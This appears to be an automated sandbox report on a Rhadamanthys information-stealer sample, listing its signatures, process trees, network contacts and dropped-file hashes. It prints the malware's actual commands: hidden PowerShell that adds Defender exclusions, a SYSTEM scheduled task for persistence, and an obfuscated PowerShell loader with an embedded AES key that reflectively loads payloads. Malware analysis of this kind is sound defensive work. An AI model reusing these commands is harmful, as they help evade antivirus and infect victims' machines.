Malware Analysis Report

2024-11-15 05:58

Sample ID 240404-pm2ydsfb3y
Target 0b64671581f1f8be974fdea937942df072341dc17f146fa96f0c75b802c8ed5a
SHA256 0b64671581f1f8be974fdea937942df072341dc17f146fa96f0c75b802c8ed5a
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0b64671581f1f8be974fdea937942df072341dc17f146fa96f0c75b802c8ed5a

Threat Level: Known bad

The file 0b64671581f1f8be974fdea937942df072341dc17f146fa96f0c75b802c8ed5a was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Downloads MZ/PE file

Loads dropped DLL

Executes dropped EXE

Program crash

Unsigned PE

Uses Task Scheduler COM API

Suspicious behavior: CmdExeWriteProcessMemorySpam

GoLang User-Agent

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Detects videocard installed

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-04 12:27

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-04 12:27

Reported

2024-04-04 12:31

Platform

win10v2004-20240226-en

Max time kernel

146s

Max time network

155s

Command Line

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 964 created 2896 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\ProgramData\driver1.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

GoLang User-Agent

Description Indicator Process Target
HTTP User-Agent header Go-http-client/1.1 N/A N/A
HTTP User-Agent header Go-http-client/1.1 N/A N/A
HTTP User-Agent header Go-http-client/1.1 N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2972 wrote to memory of 3604 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
PID 2972 wrote to memory of 3604 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
PID 3604 wrote to memory of 3120 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3604 wrote to memory of 3120 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2972 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 716 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 716 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 656 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\ProgramData\driver1.exe
PID 2972 wrote to memory of 656 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\ProgramData\driver1.exe
PID 2972 wrote to memory of 3940 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
PID 2972 wrote to memory of 3940 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
PID 3940 wrote to memory of 4856 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3940 wrote to memory of 4856 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4856 wrote to memory of 1236 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4856 wrote to memory of 1236 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4856 wrote to memory of 964 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4856 wrote to memory of 964 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4856 wrote to memory of 964 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 4348 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\schtasks.exe
PID 2972 wrote to memory of 4348 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\schtasks.exe
PID 964 wrote to memory of 1508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 964 wrote to memory of 1508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 964 wrote to memory of 1508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 964 wrote to memory of 3892 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dialer.exe
PID 964 wrote to memory of 3892 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dialer.exe
PID 964 wrote to memory of 3892 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dialer.exe
PID 964 wrote to memory of 3892 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dialer.exe
PID 964 wrote to memory of 3892 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dialer.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Users\Admin\AppData\Local\Temp\Loader.exe

"C:\Users\Admin\AppData\Local\Temp\Loader.exe"

C:\Windows\system32\cmd.exe

cmd /C "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\""

C:\ProgramData\driver1.exe

C:\ProgramData\driver1.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c C:\ProgramData\driver2.cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\ProgramData\driver2.cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\ProgramData\driver2.cmd';$AqEi='CrsqtpesqtpatsqtpeDesqtpcrsqtpyptsqtposqtprsqtp'.Replace('sqtp', ''),'FrCJbRoCJbRmBaCJbRseCJbR64CJbRStCJbRriCJbRnCJbRgCJbR'.Replace('CJbR', ''),'InTTXMvokTTXMeTTXM'.Replace('TTXM', ''),'EnfaNStryfaNSPoifaNSnfaNStfaNS'.Replace('faNS', ''),'ChMkDfanMkDfgeMkDfExtMkDfensMkDfioMkDfnMkDf'.Replace('MkDf', ''),'LonQgGanQgGdnQgG'.Replace('nQgG', ''),'MbgpxaibgpxnMbgpxobgpxdulbgpxebgpx'.Replace('bgpx', ''),'REtcKeEtcKadLEtcKinEtcKesEtcK'.Replace('EtcK', ''),'ElzFDsemzFDsezFDsnzFDstAzFDstzFDs'.Replace('zFDs', ''),'CenWEopenWEyenWEToenWE'.Replace('enWE', ''),'GeEAEWtCuEAEWrrEAEWenEAEWtPEAEWroEAEWcEAEWeEAEWsEAEWsEAEW'.Replace('EAEW', ''),'SpOMiiliOMiitOMii'.Replace('OMii', ''),'TrNYnSanNYnSsNYnSfNYnSorNYnSmNYnSFNYnSinaNYnSlBlNYnSocNYnSkNYnS'.Replace('NYnS', ''),'DecKPNcocKPNmpcKPNrcKPNesscKPN'.Replace('cKPN', '');powershell -w hidden;function CpemN($DYVvD){$uCDxz=[System.Security.Cryptography.Aes]::Create();$uCDxz.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uCDxz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uCDxz.Key=[System.Convert]::($AqEi[1])('hwWmx8yZnmhBXTUujLmUilT/inW7ASWUfza/yiGaTE0=');$uCDxz.IV=[System.Convert]::($AqEi[1])('1shh+Csacdi2MAxWoHL6Vw==');$WrKXJ=$uCDxz.($AqEi[0])();$lQEbS=$WrKXJ.($AqEi[12])($DYVvD,0,$DYVvD.Length);$WrKXJ.Dispose();$uCDxz.Dispose();$lQEbS;}function Vaeom($DYVvD){$ufaBC=New-Object System.IO.MemoryStream(,$DYVvD);$fvcwX=New-Object System.IO.MemoryStream;$KxhFO=New-Object System.IO.Compression.GZipStream($ufaBC,[IO.Compression.CompressionMode]::($AqEi[13]));$KxhFO.($AqEi[9])($fvcwX);$KxhFO.Dispose();$ufaBC.Dispose();$fvcwX.Dispose();$fvcwX.ToArray();}$oYEdq=[System.IO.File]::($AqEi[7])([Console]::Title);$sExPv=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 5).Substring(2))));$uYvCe=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 6).Substring(2))));[System.Reflection.Assembly]::($AqEi[5])([byte[]]$uYvCe).($AqEi[3]).($AqEi[2])($null,$null);[System.Reflection.Assembly]::($AqEi[5])([byte[]]$sExPv).($AqEi[3]).($AqEi[2])($null,$null); "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\schtasks.exe

schtasks /create /tn WinDriver /tr C:\ProgramData\Microsoft\WinDriver.cmd /sc onstart /ru SYSTEM

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 964 -ip 964

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 2432

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 964 -ip 964

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 2376

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 178.223.142.52.in-addr.arpa udp
RU 77.221.156.90:25565 77.221.156.90 tcp
RU 77.221.156.90:25565 77.221.156.90 tcp
RU 77.221.156.90:25565 77.221.156.90 tcp
US 8.8.8.8:53 90.156.221.77.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 202.110.86.104.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 57.162.23.2.in-addr.arpa udp
US 8.8.8.8:53 81.171.91.138.in-addr.arpa udp
US 8.8.8.8:53 59.189.79.40.in-addr.arpa udp

Files

memory/3656-9-0x00000281ECA10000-0x00000281ECA32000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i0tidxdv.hwq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3656-10-0x00007FFADE7B0000-0x00007FFADF271000-memory.dmp

memory/3656-11-0x00000281EA890000-0x00000281EA8A0000-memory.dmp

memory/3656-12-0x00000281EA890000-0x00000281EA8A0000-memory.dmp

memory/3656-13-0x00000281EA890000-0x00000281EA8A0000-memory.dmp

memory/3656-16-0x00007FFADE7B0000-0x00007FFADF271000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

memory/716-18-0x00007FFADE9A0000-0x00007FFADF461000-memory.dmp

memory/716-19-0x000002541B420000-0x000002541B430000-memory.dmp

memory/716-20-0x000002541B420000-0x000002541B430000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

memory/716-31-0x000002541B420000-0x000002541B430000-memory.dmp

memory/716-32-0x000002541B420000-0x000002541B430000-memory.dmp

memory/716-34-0x00007FFADE9A0000-0x00007FFADF461000-memory.dmp

C:\ProgramData\driver1.exe

MD5 eb93f3965887e8796917d34d40c0869d
SHA1 10976e4bc2a7d412550048c06def0b0ebba77eb6
SHA256 31d452a1ae5637cd3127e7a2e4e8de9771ea1d4e2fa34cddfdd9f90b73d098a5
SHA512 b743c9ef3fe72f7e79c16929ee6d00cd4a0961309ea73f12b599bf5217b271bef61ac1981fed8a2b48187c5ad8ca18d572d7076d335f0440c52f77f47cd81281

C:\ProgramData\driver2.cmd

MD5 d14ef6e6b689c92514b92b7865f622c6
SHA1 03a0aaafd831d9c07784744e0358b83e506402ab
SHA256 2d68dffce5555c659fb1de2b4d1e28597667ddefd6c99844ee5a346adcf0d036
SHA512 87754c793b4abc0066588cf60cff7b763090e2680aa3bc889e9f36ecaee28f18ea0ab1bb37d7049781079197237d83bb0995b61caa87888df4556ae921973d0c

memory/964-42-0x0000000074F10000-0x00000000756C0000-memory.dmp

memory/964-43-0x00000000054D0000-0x00000000054E0000-memory.dmp

memory/964-44-0x0000000005320000-0x0000000005356000-memory.dmp

memory/964-45-0x0000000005B10000-0x0000000006138000-memory.dmp

memory/964-46-0x0000000005A10000-0x0000000005A32000-memory.dmp

memory/964-47-0x0000000006140000-0x00000000061A6000-memory.dmp

memory/964-48-0x00000000061B0000-0x0000000006216000-memory.dmp

memory/964-58-0x00000000062C0000-0x0000000006614000-memory.dmp

memory/964-59-0x0000000006810000-0x000000000682E000-memory.dmp

memory/964-60-0x00000000068B0000-0x00000000068FC000-memory.dmp

memory/964-61-0x0000000006D90000-0x0000000006DD4000-memory.dmp

memory/964-62-0x00000000054D0000-0x00000000054E0000-memory.dmp

memory/964-63-0x0000000007B00000-0x0000000007B76000-memory.dmp

memory/964-64-0x0000000008200000-0x000000000887A000-memory.dmp

memory/964-65-0x0000000007BA0000-0x0000000007BBA000-memory.dmp

memory/1508-66-0x0000000074F10000-0x00000000756C0000-memory.dmp

memory/1508-67-0x0000000005570000-0x0000000005580000-memory.dmp

memory/1508-68-0x0000000005570000-0x0000000005580000-memory.dmp

memory/1508-78-0x0000000005570000-0x0000000005580000-memory.dmp

memory/1508-81-0x0000000074F10000-0x00000000756C0000-memory.dmp

memory/964-82-0x0000000002E60000-0x0000000002E68000-memory.dmp

memory/964-84-0x0000000077931000-0x0000000077A51000-memory.dmp

memory/964-85-0x0000000007FA0000-0x0000000007FE6000-memory.dmp

memory/964-86-0x0000000005660000-0x000000000566C000-memory.dmp

memory/964-87-0x0000000000400000-0x000000000046D000-memory.dmp

memory/964-92-0x0000000074F10000-0x00000000756C0000-memory.dmp

memory/964-93-0x000000000A980000-0x000000000AD80000-memory.dmp

memory/964-94-0x0000000000400000-0x000000000046D000-memory.dmp

memory/964-95-0x00000000054D0000-0x00000000054E0000-memory.dmp

memory/964-97-0x000000000A980000-0x000000000AD80000-memory.dmp

memory/964-96-0x000000000A980000-0x000000000AD80000-memory.dmp

memory/964-99-0x000000000A980000-0x000000000AD80000-memory.dmp

memory/964-98-0x00007FFAFD350000-0x00007FFAFD545000-memory.dmp

memory/964-101-0x0000000075A90000-0x0000000075CA5000-memory.dmp

memory/3892-102-0x0000000000A00000-0x0000000000A09000-memory.dmp

memory/3892-105-0x0000000002520000-0x0000000002920000-memory.dmp

memory/3892-104-0x0000000002520000-0x0000000002920000-memory.dmp

memory/964-107-0x00000000054D0000-0x00000000054E0000-memory.dmp

memory/3892-106-0x00007FFAFD350000-0x00007FFAFD545000-memory.dmp

memory/3892-110-0x0000000002520000-0x0000000002920000-memory.dmp

memory/3892-109-0x0000000075A90000-0x0000000075CA5000-memory.dmp

memory/3892-111-0x0000000002520000-0x0000000002920000-memory.dmp

memory/964-112-0x0000000074F10000-0x00000000756C0000-memory.dmp

memory/964-113-0x000000000A980000-0x000000000AD80000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-04-04 12:27

Reported

2024-04-04 12:30

Platform

win7-20240221-en

Max time kernel

121s

Max time network

123s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\opengl32.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\opengl32.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-04-04 12:27

Reported

2024-04-04 12:31

Platform

win10v2004-20240226-en

Max time kernel

93s

Max time network

128s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\opengl32.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\opengl32.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 24.66.18.2.in-addr.arpa udp
US 8.8.8.8:53 100.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 202.110.86.104.in-addr.arpa udp

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-04 12:27

Reported

2024-04-04 12:30

Platform

win7-20240221-en

Max time kernel

119s

Max time network

124s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Loader.exe"

Signatures

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\ProgramData\driver1.exe N/A
N/A N/A N/A N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe N/A
N/A N/A N/A N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

GoLang User-Agent

Description Indicator Process Target
HTTP User-Agent header Go-http-client/1.1 N/A N/A
HTTP User-Agent header Go-http-client/1.1 N/A N/A
HTTP User-Agent header Go-http-client/1.1 N/A N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1932 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
